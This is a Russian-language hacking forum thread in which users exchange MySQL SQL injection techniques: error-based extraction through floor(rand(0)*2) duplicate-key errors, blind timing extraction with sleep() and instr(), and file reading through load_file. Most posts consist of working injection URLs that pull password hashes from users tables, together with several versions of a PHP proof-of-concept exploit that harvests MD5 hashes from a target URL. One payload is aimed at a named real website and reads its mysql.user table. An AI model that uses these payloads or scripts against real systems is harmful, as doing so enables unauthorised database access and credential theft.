Подробнее в этой презентации (слайд 24): http://www.slideshare.net/devteev/ad...7439?src=embed

З.Ы.
Как я понял требуется MySQL 5.1 , поправьте если ошибаюсь.

З.З.Ы.
Ограничение длины вывода - 31 символ.

3.3.3.Ы.
Советую презентацию целиком посмотреть, есть интересные вещи, хоть и намешано в кучу.

Grey 05.12.2009 00:29

Парсинг файла.
 
Парсинг файла.

Врятли скажу что нидь новое, да и в старой версии скрипта такая возможность была, но только плохо реализованная, в новой версии эта опция будет добавлена (алгоритм уже нормальный).

Ну так вот, суть в том, что при слепых sql инъекциях читать файлы почти не реально, т.к. времени это займет невероятно много. Но читать весь файл как правило и не нужно, ведь в большинстве случаев интересует какое то конкретное содержимое (переменные с данными для подключения к БД, паролями и т.д.). Вполне логичным становиться парсить файл средствами mysql и получать не всё содержимое файла, а только его нужную часть.

Алгоритм такой:

1. Берем фрагмент нужной переменной (к примеру: 'pass') и ищем его позицию.
2. Далее ищем позиции левой (к примеру: '$') и правой (к примеру: ';') границы.
3. Ищем другие позиции для данного фрагмента и следующие позиции границ.
4. Повторяем пункты 1-3 для фрагментов других переменных.
Таким образом мы получаем массив областей в котором для каждой переменной имеется начальная и конечная позиции.
5. Далее, не менее важным является удалить повторяющиеся позиции и пересечения областей (к примеру: было: '1','6'; '3','4'; '4','8','10','11'; => '1','8';'10','11';).

Для поиска позиций нужно использовать оптимизированную функцию (3.5 запроса на символ) - немного, но всё же быстрее, а тут скорость критична.

Сам поиск позиций осуществляется через функцию locate().
К примеру так:

PHP код:

function grey_fsif($file_name$text$begin_pos$vector 1) {

if(
$vector == 1) {
    
$result = (int) grey_uf2a3('locate(0x'.bin2hex($text).',load_file('.$file_name.'),'.$begin_pos.')'2);
} else {
    
$result = (int) $begin_pos - (grey_uf2a3('locate(0x'.bin2hex(strrev($text)).', reverse(left(load_file('.$file_name.'), '.($begin_pos 1).')))'2) - 1);
}

return 
$result; } 


Qwazar 24.12.2009 01:58

Вывод информации в ошибке для Mysql >= 4.1
 
Скрипт для теста:

PHP код:

<?php
 mysql_connect
("localhost""root""");
 
mysql_select_db ('test');

 
$rz mysql_query ("select count(*),concat(version(),floor(rand()*2)) x from users group by x;") or die (mysql_error());
?>

Запускаем несколько раз (!!!) и с далеко ненулевой вероятностью ловим ошибку типа:

Duplicate entry '5.0.45-community-nt1' for key 1
Duplicate entry '5.0.45-community-nt0' for key 1

Пример использования в скуле:
Код:

http://localhost/sql.php?id=1+UNION+select+1,count(*),concat((select pass from users limit 1),0x3a,floor(rand()*2))+x+from+users+group+by+x
Результат:
Код:

Duplicate entry '1bc29b36f623ba82aaf6724fd3b16718:1' for key 1
Вариант запуска без подбора колонок (Можно использовать только <,> и !=, символ = не прокатит):

Код:

http://localhost/sql.php?id=1'+and+row(1,1)>(select+count(*),concat((select+pass+from+users+limit+1),0x3a,floor(rand()*2))+x+from+users+group+by+x+limit+1)+--+1

Особенности:

1) Работает на всех ветках, проверял на 4.1, 5.0, 5.1 .

2) Когда в таблице из которой надо дёрнуть информацию, находится только одна строка, надо делать так:
Код:

sql.php?id=1 and row(1,1)>(select count(*),concat(version(),0x3a,floor(rand()*2)) x from (select 1 union select 2)a group by x limit 1) -- 1
или так:
Код:

sql.php?id=1 union select 1,2,passwd from users where id=1 and row(1,1)>(select count(*),concat( (select users.passwd) ,0x3a,floor(rand()*2)) x from (select 1 union select 2 union select 3)a group by x limit 1) -- 1
Может быть попробую перевести в более удобоваримую форму.

P.S.
Скриншот консоли, первые 3 раза запрос отработал, на 4й упал как надо: http://s48.radikal.ru/i120/0910/ce/4974d14483ba.jpg

P.P.S.
Я выкладываю всё это не просто так, большая просьба ко всем кто использует эти методы на практике - сообщайте о версиях на которых метод не отработал!! И о любом нестандартном поведении, которые замечаете. В данном случае так же интересуют закономерности и зависимости :).

Так-же тут: http://qwazar.ru/?p=7

Root-access 26.12.2009 20:07

Цитата:

Сообщение от cr0w
Интересно придумал с more1row (:

p.s. и все таки удобнее использовать
Код:

select instr('0123456789abcdef', 'a');
select instr(0x30313233343536373839616263646566, 'a');

чем
Код:

select find_in_set('a', '0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f,);
select find_in_set('a', 0x302C312C322C332C342C352C362C372C382C392C612C622C632C642C652C66);

(;

Ещё альтернатива:
Код:

SELECT 'a' IN (%symbols);
А лучше всего по-моему так:
Код:

SELECT 'a' BETWEEN '0' AND 'z'
Ответ будет 0 или 1.

P.S. Ещё короче с регуляркой:
Код:

SELECT 'a' REGEXP '[0-z]'

borntobebad 27.12.2009 16:33

testiruju na 4images s dirkoy na blin sql injection , rezultat nulevoy !!! moj zapros ne tak delau ?



C:\root\php>php.exe -f test.php http://localhost/gallery/categories.
php?cat_id= user_password 4images_users
Generating templates................ [OK]
Getting keywords................ [OK]
Filtering keywords................ [OK]
Sending queries................................ [OK]
Getting value: [DONE]

cr0w 27.12.2009 19:07

Цитата:

Сообщение от Root-access
Ещё альтернатива:
Код:

SELECT 'a' IN (%symbols);
А лучше всего по-моему так:
Код:

SELECT 'a' BETWEEN '0' AND 'z'
Ответ будет 0 или 1.

P.S. Ещё короче с регуляркой:
Код:

SELECT 'a' REGEXP '[0-z]'

Это не альтернатива. С помощью find_in_set и ей подобных мы получаем не 0 или 1...

Можно заместо запросов типа
Код:

select find_in_set('a', '0,1,2,3,4,5,6,7,8,9,a,b,c,d,e,f');
использовать, к примеру, более короткий
Код:

select conv('a',16,10)+1
С помощью функции CONV можно получать значения [0-9a-z], но не более того. так как максимально возможное значение базы системы счисления для нее равно 36.

Qwazar 29.12.2009 12:25

Вывод данных в ошибке для MySQL>=4.1
 
Дмитрий Евтеев допилил мой вариант вывода данных в ошибке через рандом, чтобы вывод ошибки был в 100% случаев.

Вот запрос выводящий данные всегда:
Код:

select count(*),concat(version(),floor(rand(0)*2)) x from table group by x;
Источник: http://qwazar.ru/?p=7#comment-8378

P.S.
Различия в том, что в функцию rand() передаётся аргумент 0.

cr0w 02.01.2010 05:36

Удобно использовать вышеописанный способ Qwazar'a с рэндомом, эксплуатируя сценарии запросами такого вида:
Код:

?sql.php=1 or (select count(*) from table group by concat(version(),floor(rand(0)*2)))--
Таблица table здесь - любая доступная для чтения таблица, содержащая более 2х записей, либо можно вписать вместо нее подзапрос с алиасом:
Код:

?sql.php=1 or (select count(*) from (select 1 union select 2 union select 3)x group by concat(version(),floor(rand(0)*2)))--
А в таблице, с которой читаем инфу, может быть любое число записей.

cr0w 05.01.2010 00:30

При использовании способа с rand'омом в order by, обнаружилась такая вещь (тестил в 5.0.45-community-nt): если извлекать данные из колонки, напимер, типа VARCHAR и размерностью >153, то ошибки в запросе не возникает, он нормально выполняется, и мы не получаем нужных нам данных. Решить эту проблему можно, например, урезав извлекаемые данные с помощью SUBSTR (или MID). Таким образом, лучше использовать данный способ примерно в такой манере:
Код:

script.php?sql=1 or (select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select pass from users limit 1),1,64),floor(rand(0)*2)))--
Да, и не забывайте, что в выводимой строке, последний символ, еденица, это результат выполнения floor(rand(0)*2) - к извлекаемым данным он никакого отношения не имеет (у Qwazar'a в примерах он отделен, у меня - нет). (;

И еще одна небольшая фича, которая кому-то может пригодиться при использовании этих методов когда SQLI в INSERTе. Например, имеется уязвимый скрипт такого плана:
PHP код:

<?php 
mysql_connect
("localhost""root"""); 
mysql_select_db ('test'); 

$rеz mysql_query ("INSERT INTO users (name,pass) VALUES ('" $_REQUEST[name] . "','" $_REQUEST[pass]. "');") or die (mysql_error()); 
?>

Если мы попробуем в подзапросе прочесть данные из той же таблицы, в которую осуществляется insert:
Код:

test.php?name=lala',(select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select pass from users where name='admin'),1,64),floor(rand(0)*2))))--+
MySQL не позволит этого сделать, выдав ошибку:
Код:

You can't specify target table 'users' for update in FROM clause
Обходится это ограничение очень просто:
Код:

test.php?name=lala',(select*from(select count(*)from(select 1 union select 2 union select 3)x group by concat(mid((select pass from users where name='admin'),1,64),floor(rand(0)*2)))z))--+

Root-access 07.01.2010 14:07

Использование sleep() вместо benchmark() (32 запроса на md5)

Зачастую встречаются sql-инъекции, в которых нет ни вывода полей, ни вывода ошибок.
В таких случаях применяют find_in_set() и ей подобные.
Я предлагаю ввести новую альтернативу для пятой ветки mysql - sleep().

Рассмотрим следующий запрос:

Код:

SELECT SLEEP((SELECT substring(version(),1,1)))
Здесь будет задержка 5 секунд (работаем с пятой веткой) + уйдёт время на выполнение самого запроса.
Если сначала посмотреть, сколько уходит времени на получение ответа от сервера на запрос без задержки, можно точно узнать первый символ одним запросом.
А учитывая то, что обычно сервер выполняет запрос меньше, чем за одну секунду, можно брать просто целую часть от времени ответа сервера.

Теперь посмотрим, как вытаскивать символы. Предлагаю делать это с помощью ASCII-кодов:

Код:

SELECT SLEEP((SELECT ascii(substring((SELECT password FROM users LIMIT 1,1),1,1)))/50)
В данном запросе задержка будет равна одной пятидесятой от кода символа в секундах.
В зависимости от того, как быстро сервер возвращает ответы без задержки, можно варьировать это число во избежание ошибки.

Таким образом, на 1 md5() хеш потребуется ровно столько запросов, сколько в нём символов - 32.

Теперь о плюсах и минусах:

+ Рекордные 32 запроса на md5()
+ Не требует вывода ошибок
- Работает лишь начиная с MySQL 5
- Возможны погрешности, если сервер перегружен

Надо отметить, что минусы не так существены, как плюсы - старые ветки MySQL уже отмирают, а погрешностей можно избежать, меняя знаменатель в функции SLEEP().

P.S. PoC-эксплойта пока не имеется, надеюсь скоро будет.

.Slip 07.01.2010 16:17

Я полгода назад пробовал делать sleep() + find_in_set(). В любом случае дело фейл, ибо:
1. Разные сервера по нагрузке, т.е. одинаковые запросы будут выполняться разное кол-во времени на разных серверах. Это не локалхост.
2. Разное время передачи данных между сервером и клиентом
3. Некоторые сервера уходили в небольшой даун после подбора скули таким образом.
Тут минусов гораздо больше нежели плюсов. Даже если использовать вкупе с бинарным поиском - всё равно будет тухло.

Root-access 07.01.2010 16:28

Цитата:

Сообщение от .Slip
Я полгода назад пробовал делать sleep() + find_in_set(). В любом случае дело фейл, ибо:
1. Разные сервера по нагрузке, т.е. одинаковые запросы будут выполняться разное кол-во времени на разных серверах. Это не локалхост.
2. Разное время передачи данных между сервером и клиентом
3. Некоторые сервера уходили в небольшой даун после подбора скули таким образом.
Тут минусов гораздо больше нежели плюсов. Даже если использовать вкупе с бинарным поиском - всё равно будет тухло.

1-2. Да, конечно для каждого сервера надо будет смотреть на время ответа.
Спорить не стану - лучше сначала проверить на конкретном сплойте, пока что это на уровне локалхоста всё работает идеально.
3. Хм, я думаю, что дос-эффект от sleep() много меньше, чем от benchmark().

А какие ты проводил эксперименты? Можно поподробнее? Т.е. хеш выдёргивался неправильно, были сильные погрешности?

.Slip 07.01.2010 16:37

Ну если на примере sleep() + find_in_set(), то думаю ты понял как выглядит запрос. Так вот, допустим сервант отстоял энное время, НО, это время просто в очень редких случаях(фактически локалхост онли) будет совпадать с позицией искомого символа. Т.к. к времени простоя сервера в зависимости от позиции символа, ещё добавляются:
1. Остальные sql запросы, которые были до нашего запроса или же будут после него. Что уже сбивает время.
2. Время загрузки клиентом всей страницы сайта, что бы там нибыло. Опять же сбои во времени.
Тут никак не подсчитать и не сделать универсальный эксплойт. Можно конечно дрочить на каждом сервере довольно долго что б потом ориентироваться по знаменателям и прочим, но это всё займет очень много времени, а есть способы гораздо быстрее, пусть и большее кол-во запросов.

PS Идеально такой способ у меня отработал на локалхосте и одном серванте с широким каналом и незагруженной бд, куда я залил бажный скрипт для теста. В обычных же полевых условиях, всегда был фейл.

Root-access 28.01.2010 23:38

Цитата:

Сообщение от Qwazar
Я выкладываю всё это не просто так, большая просьба ко всем кто использует эти методы на практике - сообщайте о версиях на которых метод не отработал!! И о любом нестандартном поведении, которые замечаете. В данном случае так же интересуют закономерности и зависимости .

На 6.0.7-alpha-log не сработало (подробно не тестил).

Qwazar 29.01.2010 01:45

Цитата:

Сообщение от Root-access
1-2. Да, конечно для каждого сервера надо будет смотреть на время ответа.
Спорить не стану - лучше сначала проверить на конкретном сплойте, пока что это на уровне локалхоста всё работает идеально.
3. Хм, я думаю, что дос-эффект от sleep() много меньше, чем от benchmark().

Главная заморочка тут с 1-2, т.к. в любом случае нужно замерять среднее время ответа от сервера, а оно может сильно различаться на разных запросах. По поводу п. 3 - в дос сервер от sleep не уйдёт. Реально нужно вводить коэффициенты, т.е. sleep(N)*delta, где delta - вычисляемое время зависящее от времени ответа сервера. Но в таком случае на некоторые символы (при 32 запросах на хеш) будет уходить слишком много времени. Запросов будет меньше, но время работы - существенно больше.

З.Ы.
Для примера можешь посмотреть вот это: http://qwazar.ru/?p=35 .

Root-access 29.01.2010 23:54

Шаблонный PoC-сплойт к посту #22.
Жду предложений по улучшению и результаты тестов.
На реальном движке не тестил, можно подогнать под любой.
Смотреть на Pastebin
PHP код:

<?php
//SLEEP()+INSTR() SQL-Injection
//Корявоватый сплойт от Root-access
$url "http://site.ru/news.php?id=1";
$id 0;
function 
testtime($url) {
    
$time time()+microtime();
    
file_get_contents($url);
    return 
time()+microtime()-$time;
}
echo 
"Test time: ".$testtime=testtime($url)."<br>";
$sym = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
$res "";
for(
$i=1;$i<33;$i++) {
    
$time time()+microtime();
    
file_get_contents("$url+and+sleep(instr(0x30313233343536373839616263646566,substring((select+password+from+test+limit+".$id.",1),".$i.",1)))");
    
$res $res.$sym[round(time()+microtime()-$time-$testtime)-1];
}
echo 
"Hash: ".$res;
?>


Qwazar 30.01.2010 00:05

Root-access, не введёшь дельту - результат будет недостоверным. Введёшь - ждать будешь долго (существенно дольше стандартного бин.поиска). В данном случае подобным PoC нельзя ограничиваться.

geezer.code 30.01.2010 00:09

если подобрать дельту достаточной величины, то можно будет и погрешности реальной сети рассчитать, ну или делать одинаковый запрос несколько раз и брать средневзвешенное значение.

Root-access 30.01.2010 01:23

Тут возникли некоторые вопросы по поводу мотивировок использования этого метода. Метод с find_in_set без sleep() неприменим в абсолютно слепых скулях, там, где нет вообще никакого вывода контента, то есть при различных id контент будет одним и тем же. А метод с benchmark() сильно грузит сервер.

Сделал увеличение шага между позициями в дельту (в данном примере 2).
(pastebin)
PHP код:

<?php
$url 
"http://site.ru/news.php?id=1";
$id 0;
function 
testtime($url) {
        
$time time()+microtime();
        
file_get_contents($url);
        return 
time()+microtime()-$time;
}
echo 
"Test time: ".$testtime=testtime($url)."<br>";
$sym = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
$res "";
for(
$i=1;$i<33;$i++) {
        
$time time()+microtime();
        
file_get_contents("$url+and+sleep(2*(instr(0x30313233343536373839616263646566,substring((select+password+from+test+limit+".$id.",1),".$i.",1))))");
        
$res $res.$sym[round((time()+microtime()-$time-$testtime)/2-1)];
}
echo 
"Hash: ".$res;
?>

Ещё вариант с заменой учёта погрешности сложением на умножение. В такой реализации почему-то появились ошибки...
(pastebin)
PHP код:

<?php
$url 
"http://site.ru/news.php?id=1";
$id 0;
function 
avrg($arr) {
     foreach (
$arr as $val) {
          
$sum+=$val;
     }
     return 
$sum/count($arr);
}
function 
delta($url) {
     
$tests = array();
     for(
$i=0;$i<1;$i++) {
          
$time time()+microtime();
          
file_get_contents("$url+and+sleep(1)");
          
$tests[$i] = time()+microtime()-$time;
     }
     return 
1/avrg($tests);
}
echo 
"Test time: ".$delta=delta($url)."<br>";
$sym = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
$res "";
for(
$i=1;$i<33;$i++) {
     
$time time()+microtime();
     
file_get_contents("$url+and+sleep(instr(2*(0x30313233343536373839616263646566,substring((select+password+from+test+limit+".$id.",1),".$i.",1))))");
     
$res $res.$sym[round($delta*(time()+microtime()-$time)/2)];
}
echo 
"Hash: ".$res;
?>


Root-access 30.01.2010 13:59

По советам сделал улучшенную версию с вычисляемой дельтой. Нужно ли ещё обтесать алгоритм?
Pastebin
PHP код:

<?php
$url 
"http://site.ru/news.php?id=1"//URL запроса до "+AND+..."
$id 0//Номер пользователя
$coef 2//Множитель
$try 5//Кол-во проверочных запросов
function avrg($arr) { 
     foreach (
$arr as $val) { 
          
$sum+=$val
     } 
     return 
$sum/count($arr); 

function 
delta($url) { 
     
$tests = array(); 
     for(
$i=0;$i<=$try;$i++) { 
          
$time time()+microtime(); 
          
file_get_contents("$url+and+sleep(1)"); 
          
$tests[$i] = time()+microtime()-$time
     } 
     return 
avrg($tests); 
}
function 
testtime($url) {
        
$time time()+microtime();
        
file_get_contents($url);
        return 
time()+microtime()-$time;
}
$delta round($coef*delta($url));
$testtime=testtime($url);
echo 
"<b>Blind SQL-Injection pattern PoC-exploit by Root-access</b><br>";
echo 
"Request type: $url+and+sleep(substring(version(),1,1))<br>";
echo 
"Test time: $testtime<br>";
$sym = array('0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f');
$res "";
for(
$i=1;$i<33;$i++) {
        
$time time()+microtime();
        
file_get_contents("$url+and+sleep($delta*(instr(0x30313233343536373839616263646566,substring((select+password+from+test+limit+$id,1),$i,1))))");
        
$res $res.$sym[round((time()+microtime()-$time-$testtime)/$delta-1)];
}
echo 
"Hash: ".$res;
?>


l1ght 01.02.2010 18:35

не актуальный ресерч по методу 12 ошибок.
т.к. кол-во приведеных ошибок крайне мало, возникла идея "динамического" использования рантайм ошибок mysql, которые могут содержать информацию от клиента, для примера я взял error column 'xxx' cannot be null forum.antichat.ru/showpost.php?p=1716996&postcount=18
если использовать not null колонки в конкатенации с необходимым диапазоном символов, можно составить универсальный (но длинный'() запрос на основе 1 ошибки
вот конкретная реализация для всех символов из диапазона [0..9],[A..Z],[a..z]
Цитата:

http://widener.webstudy.com/doc.php?id=elt(ascii(substring((select user from mysql.user limit 1,1),1,1))-47,(select user-'0'from mysql.user union select 1%0 limit 1),(select user-'1'from mysql.user union select 1%0 limit 1),(select user-'2'from mysql.user union select 1%0 limit 1),(select user-'3'from mysql.user union select 1%0 limit 1),(select user-'4'from mysql.user union select 1%0 limit 1),(select user-'5'from mysql.user union select 1%0 limit 1),(select user-'6'from mysql.user union select 1%0 limit 1),(select user-'7'from mysql.user union select 1%0 limit 1),(select user-'8'from mysql.user union select 1%0 limit 1),(select user-'9'from mysql.user union select 1%0 limit 1),1,1,1,1,1,1,1,(select user-'A'from mysql.user union select 1%0 limit 1),(select user-'B'from mysql.user union select 1%0 limit 1),(select user-'C'from mysql.user union select 1%0 limit 1),(select user-'D'from mysql.user union select 1%0 limit 1),(select user-'E'from mysql.user union select 1%0 limit 1),(select user-'F'from mysql.user union select 1%0 limit 1),(select user-'G'from mysql.user union select 1%0 limit 1),(select user-'H'from mysql.user union select 1%0 limit 1),(select user-'I'from mysql.user union select 1%0 limit 1),(select user-'J'from mysql.user union select 1%0 limit 1),(select user-'K'from mysql.user union select 1%0 limit 1),(select user-'L'from mysql.user union select 1%0 limit 1),(select user-'M'from mysql.user union select 1%0 limit 1),(select user-'N'from mysql.user union select 1%0 limit 1),(select user-'O'from mysql.user union select 1%0 limit 1),(select user-'P'from mysql.user union select 1%0 limit 1),(select user-'Q'from mysql.user union select 1%0 limit 1),(select user-'R'from mysql.user union select 1%0 limit 1),(select user-'S'from mysql.user union select 1%0 limit 1),(select user-'T'from mysql.user union select 1%0 limit 1),(select user-'U'from mysql.user union select 1%0 limit 1),(select user-'V'from mysql.user union select 1%0 limit 1),(select user-'W'from mysql.user union select 1%0 limit 1),(select user-'X'from mysql.user union select 1%0 limit 1),(select user-'Y'from mysql.user union select 1%0 limit 1),(select user-'Z'from mysql.user union select 1%0 limit 1),1,1,1,1,1,1,(select user-0x61 from mysql.user union select 1%0 limit 1),(select user-0x62 from mysql.user union select 1%0 limit 1),(select user-0x63 from mysql.user union select 1%0 limit 1),(select user-0x64 from mysql.user union select 1%0 limit 1),(select user-0x65 from mysql.user union select 1%0 limit 1),(select user-0x66 from mysql.user union select 1%0 limit 1),(select user-0x67 from mysql.user union select 1%0 limit 1),(select user-0x68 from mysql.user union select 1%0 limit 1),(select user-0x69 from mysql.user union select 1%0 limit 1),(select user-0x6A from mysql.user union select 1%0 limit 1),(select user-0x6B from mysql.user union select 1%0 limit 1),(select user-0x6C from mysql.user union select 1%0 limit 1),(select user-0x6D from mysql.user union select 1%0 limit 1),(select user-0x6E from mysql.user union select 1%0 limit 1),(select user-0x6F from mysql.user union select 1%0 limit 1),(select user-0x70 from mysql.user union select 1%0 limit 1),(select user-0x71 from mysql.user union select 1%0 limit 1),(select user-0x72 from mysql.user union select 1%0 limit 1),(select user-0x73 from mysql.user union select 1%0 limit 1),(select user-0x74 from mysql.user union select 1%0 limit 1),(select user-0x75 from mysql.user union select 1%0 limit 1),(select user-0x76 from mysql.user union select 1%0 limit 1),(select user-0x77 from mysql.user union select 1%0 limit 1),(select user-0x78 from mysql.user union select 1%0 limit 1),(select user-0x79 from mysql.user union select 1%0 limit 1),(select user-0x7A from mysql.user union select 1%0 limit 1))
Column 'user-0x72' cannot be null, 0x72 = r (root)
т.е. в зависимости от результата подзапроса возвращается n-ая ошибка содержащая n-ый символ, -47 - ascii(0)-1 (подгонка под функцию elt)
итого: 1 запрос к бд и огромные лог файлы на сервере => помидорами не закидывать :)

YuNi|[c 29.04.2010 23:15

Уважаемые профи, спс за ваши усилия в развитии новых методов. Вот все прекрасно обьяснили, но как то никто не прояснил про load_file через floor rand и name_const

Сегодня было дело прочест файли при условии floor и тока v1d0qz посоветовал как делать load_file(огромный респект ему).
Если вам не составит труда напишите одну норм статью или тутор чтоб охватило всё что касается эксплуатации через Floor & Name_const
и чтоб прояснили можно ли делать into outfile и другие способы. Я еще нигде не видел подобных статей который начали с 0 до открытия скажем рдп.
Имеется ввиду тока эти два метода вывода через ошибок.

Если не хотите чтоб эти методы опубликовалис на всем инете на разных языках и разработчики придумали новые методи защиты(хз может уже придумали) то просто сделайте по одному примеру с каждого запроса маленким обьяснением тут.

PS. это будет хорошым ответом на многие вопросы в разделе Ваши вопросы по уязвимостьям так как много там вопросов про те методы. Спс думаю не нарушил правило ;)

BlackFan 13.06.2010 20:50

Малюсенькое дополнение по error based инъекциям на основе rand.

Вместо floor(rand(0)*2) можно использовать rand(0)|0, rand(0)&1 или rand(0)^0. (& в get запросах отправлять как %26).

На случай, если каждый символ на счету, а запросы при такой инъекции не маленькие )


Время: 19:29